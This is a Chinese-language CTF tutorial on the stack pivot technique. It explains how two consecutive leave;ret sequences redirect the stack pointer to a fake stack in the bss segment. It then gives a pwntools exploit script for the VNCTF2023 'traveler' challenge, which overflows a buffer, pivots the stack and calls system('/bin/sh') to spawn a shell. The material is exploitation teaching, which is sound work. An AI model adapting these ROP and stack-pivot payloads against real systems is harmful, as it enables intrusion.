栈迁移原理分析

栈迁移

背景

由于栈地址的随机化,有时利用缓冲区溢出进行多次ROP时不方便覆盖prev rbp位置的地址(假如覆盖的返回地址为函数中间,不包括push rbp; mov rbp,rsp;部分);或者更常遇到的是,我们输入的内容很多,然而真正溢出的部分很少,难以进行ROP的情况。我们希望用一种办法,使栈迁移至已知地址处,这就是栈迁移(stack pivot)攻击技术。

原理

在一个函数的结尾,通常有

1
2
leave
ret

指令,这是为了恢复之前保存的rbp寄存器,同时返回至原先的指令位置。其中leave相当于

1
2
mov rsp, rbp
pop rbp

这是很自然的,一个函数中,rbp常常不变(因为要作为栈底指针,便于寻找变量对应的内存位置),而rsp可能会改变(比如c99标准中引入的可变长数组特性)。无论被调用函数将栈开辟到哪个位置(即无论rsp指针指向哪里),leave都能将栈指针指向栈底,并且将栈底保存的原先的rbp地址pop给rbp,此时rsp+=8,rsp指向返回地址,再执行ret指令,返回至原先的位置。

那么考虑构造ROP链,使得连续执行两次leave,将栈安排如下:

1
2
3
4
[fake stack]                     <- prev rbp
[addr to leave;ret; instruction] <- retn addr
[fake rbp addr] <- prev rbp
[addr to next gadget] <- retn addr

使用pop rip代替ret,用mov rsp,rbp;pop rbp;代替leave,可以如此展示程序流程

1
2
3
4
5
6
mov rsp,rbp
pop rbp ;rbp=fake_stack
pop rip ;这里伪造的retn addr为下一个leave;ret;
mov rsp,rbp ;此时rsp=rbp,而rbp==fake_stack
pop rbp ;rbp=fake_rbp
pop rip ;返回至下一个gadget

由此,我们实现了对栈指针的劫持。

实战中,我们常将栈迁移至bss段后的位置,或堆上的位置。因为linux系统分配内存时,一个内存页的大小至少为0x1000,而bss段经常没有这么长,所以可以将栈劫持到(bss&~(0xfff))+0x900之类的位置上。

实践

VNCTF2023 traveler

程序中有system,直接两次栈迁移构造ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',os='linux')
p=process('./traveler')
pop_rdi_ret=0x4012c3
leave_ret=0x401253
ret=0x40101a
fake_stack2=0x404900
msg=0x4040a0
system=0x401090
p.sendafter(b'\n',b'a'*0x20+p64(fake_stack2)+p64(0x40120a))
p.sendafter(b'\n',b'a')
p.sendafter(b'\n',p64(pop_rdi_ret)+p64(msg)+p64(system)+p64(0)+p64(0x4048d8)+p64(leave_ret))
p.sendafter(b'\n',b'/bin/sh\x00')
p.interactive()